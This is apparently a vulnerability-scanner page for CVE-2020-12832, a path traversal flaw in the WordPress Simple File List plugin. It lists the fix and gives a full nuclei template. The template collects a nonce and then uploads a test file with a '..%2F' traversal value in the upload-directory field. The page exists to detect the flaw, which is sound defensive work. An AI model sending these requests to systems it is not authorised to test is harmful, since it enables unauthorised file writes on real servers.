WordPress Simple File List - Path Traversal

criticalseverity

9.8CVSS score

7.1%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

Simple File List plugin allows path traversal via file upload, enabling files to be written outside the upload directory.

Impact

Attackers can delete arbitrary files on the server, potentially causing data loss or service disruption.

Fix

Update to version 4.2.8 or later.

How to confirm it

Send: GET /?rest_route=/wp/v2/pages&per_page=100
Send: GET {{slug}}/
Send: POST /wp-admin/admin-ajax.php
Send: GET /wp-content/uploads/{{rand}}.{{ext}}
Positive when: status_code == 200 and contains_all(body, "{{rand}}")

Run it with nuclei: nuclei -id CVE-2020-12832 -u <target>

The full check

id: CVE-2020-12832

info:
  name: WordPress Simple File List - Path Traversal
  author: riteshs4hu
  severity: critical
  description: |
    Simple File List plugin allows path traversal via file upload, enabling files to be written outside the upload directory.
  impact: |
    Attackers can delete arbitrary files on the server, potentially causing data loss or service disruption.
  remediation: |
    Update to version 4.2.8 or later.
  reference:
    - https://wpscan.com/vulnerability/422360b9-4c70-4fd9-9833-375f1294bd7a/
    - http://nvd.nist.gov/vuln/detail/CVE-2020-12832
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-12832
    epss-score: 0.07073
    epss-percentile: 0.94267
    cwe-id: CWE-22
    cpe: cpe:2.3:a:simplefilelist:simple-file-list:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: Simple File List
    product: Simple File List WordPress Plugin
  tags: cve,cve2020,wp,wordpress,wp-plugin,traversal,simple-file-list,lfi,vkev,vuln

variables:
  rand: "{{rand_base(7)}}"

http:
  - raw:
      - |
        GET /?rest_route=/wp/v2/pages&per_page=100 HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: slug
        json:
          - '.[] | select(.content.rendered | contains("eeSFL_UploadGo")) | .slug'
        internal: true

  - raw:
      - |
        GET {{slug}}/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: sflnonce
        group: 1
        regex:
          - 'name="ee-simple-file-list-upload-nonce"[^>]*?value="([A-Za-z0-9]+)"'
        internal: true

      - type: regex
        name: sflid
        group: 1
        regex:
          - 'id="eeSFL_ID">([0-9]+)'
        internal: true

      - type: regex
        name: ext
        group: 1
        regex:
          - 'eeSFL_FileFormats\s*=\s*"([A-Za-z0-9]+)'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytA7kTuCe4IHDaUBZ

        ------WebKitFormBoundarytA7kTuCe4IHDaUBZ
        Content-Disposition: form-data; name="action"

        sfl_upload_job
        ------WebKitFormBoundarytA7kTuCe4IHDaUBZ
        Content-Disposition: form-data; name="file"; filename="{{rand}}.{{ext}}"
        Content-Type: application/octet-stream

        {{rand}}
        ------WebKitFormBoundarytA7kTuCe4IHDaUBZ
        Content-Disposition: form-data; name="eeSFL_ID"

        {{sflid}}
        ------WebKitFormBoundarytA7kTuCe4IHDaUBZ
        Content-Disposition: form-data; name="eeSFL_FileUploadDir"

        wp-content%2Fuploads%2Fsimple-file-list%2F..%2F
        ------WebKitFormBoundarytA7kTuCe4IHDaUBZ
        Content-Disposition: form-data; name="ee-simple-file-list-upload"

        {{sflnonce}}
        ------WebKitFormBoundarytA7kTuCe4IHDaUBZ--

  - raw:
      - |
        GET /wp-content/uploads/{{rand}}.{{ext}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "{{rand}}")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from